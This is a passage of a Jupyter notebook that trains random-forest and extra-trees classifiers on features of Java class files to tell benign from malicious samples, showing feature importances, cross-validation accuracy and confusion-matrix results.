Vq1m9evV8T2ModVwWaBzP\n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\nYII=\n", + "text": [ + "" + ] + } + ], + "prompt_number": 175 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### We ask the classifier to tell the importance again, and we see the features extracted from the class name now totally dominate the classifier. On one hand, we got great results with this classifier, on the other, we see that is almost completely reliant on one major feature of the file." + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "importances = zip(all_features, clf_all.feature_importances_)\n", + "importances.sort(key=lambda k:k[1], reverse=True)\n", + "sum = 0\n", + "for idx, im in enumerate(importances):\n", + " sum += round(im[1], 5)\n", + " print (str(idx+1) + ':').ljust(4), im[0].ljust(35), round(im[1], 5), sum" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stdout", + "text": [ + "1: class_name_slash_count 0.31448 0.31448\n", + "2: class_name_length 0.28798 0.60246\n", + "3: class_name_lowercase_run_longest 0.08185 0.68431\n", + "4: entropy 0.06346 0.74777\n", + "5: class_name_lowercase_run_avg 0.06043 0.8082\n", + "6: constant_pool_count 0.03532 0.84352\n", + "7: size 0.02862 0.87214\n", + "8: class_name_uppercase_run_longest 0.02839 0.90053\n", + "9: class_name_uppercase_run_avg 0.02537 0.9259\n", + "10: method_name_lowercase_run_avg 0.01137 0.93727\n", + "11: interface_count 0.01073 0.948\n", + "12: class_name_digit_run_avg 0.00947 0.95747\n", + "13: method_name_lowercase_run_longest 0.00751 0.96498\n", + "14: acc_public 0.00604 0.97102\n", + "15: methods_count 0.00509 0.97611\n", + "16: method_name_uppercase_run_longest 0.00459 0.9807\n", + "17: ap_count 0.0039 0.9846\n", + "18: class_name_digit_run_longest 0.00336 0.98796\n", + "19: major version 0.00286 0.99082\n", + "20: method_name_uppercase_run_avg 0.00277 0.99359\n", + "21: acc_abstract 0.00181 0.9954\n", + "22: method_name_digit_run_avg 0.00148 0.99688\n", + "23: acc_final 0.00105 0.99793\n", + "24: method_name_digit_run_longest 0.00103 0.99896\n", + "25: minor version 0.00054 0.9995\n", + "26: acc_interface 0.0005 1.0\n", + "27: acc_super 1e-05 1.00001\n", + "28: acc_annotation 0.0 1.00001\n", + "29: acc_enum 0.0 1.00001\n", + "30: acc_synthetic 0.0 1.00001\n" + ] + } + ], + "prompt_number": 176 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "###Using a different classifier\n", + "\n", + "Let's try a different classifier: Extra Trees Classifier (like RandomForest, but even more random).
\n", + "http://scikit-learn.org/stable/modules/generated/sklearn.ensemble.ExtraTreesClassifier.html\n" + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "clf_er = sklearn.ensemble.ExtraTreesClassifier(n_estimators=50)\n", + "X_er = df.as_matrix(all_features)\n", + "y_er = np.array(df['label'].tolist())\n", + "labels = ['benign', 'malicious']\n", + "\n", + "scores = sklearn.cross_validation.cross_val_score(clf_er, X_er, y_er, cv=10)\n", + "print(\"Accuracy: %0.3f (+/- %0.3f)\" % (scores.mean(), scores.std() * 2))" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stdout", + "text": [ + "Accuracy: 0.997 (+/- 0.013)\n" + ] + } + ], + "prompt_number": 179 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "# 80/20 Split for predictive test\n", + "X_train, X_test, y_train, y_test = train_test_split(X_er, y_er, test_size=my_tsize, random_state=my_seed)\n", + "clf_er.fit(X_train, y_train)\n", + "y_pred = clf_er.predict(X_test)\n", + "cm = confusion_matrix(y_test, y_pred, labels)\n", + "plot_cm(cm, labels)" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stdout", + "text": [ + "Confusion Matrix Stats\n", + "benign/benign: 100.00% (90/90)\n", + "benign/malicious: 0.00% (0/90)\n", + "malicious/benign: 0.00% (0/114)\n", + "malicious/malicious: 100.00% (114/114)\n" + ] + }, + { + "metadata": {}, + "output_type": "display_data", + "png": "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\nHMTNzK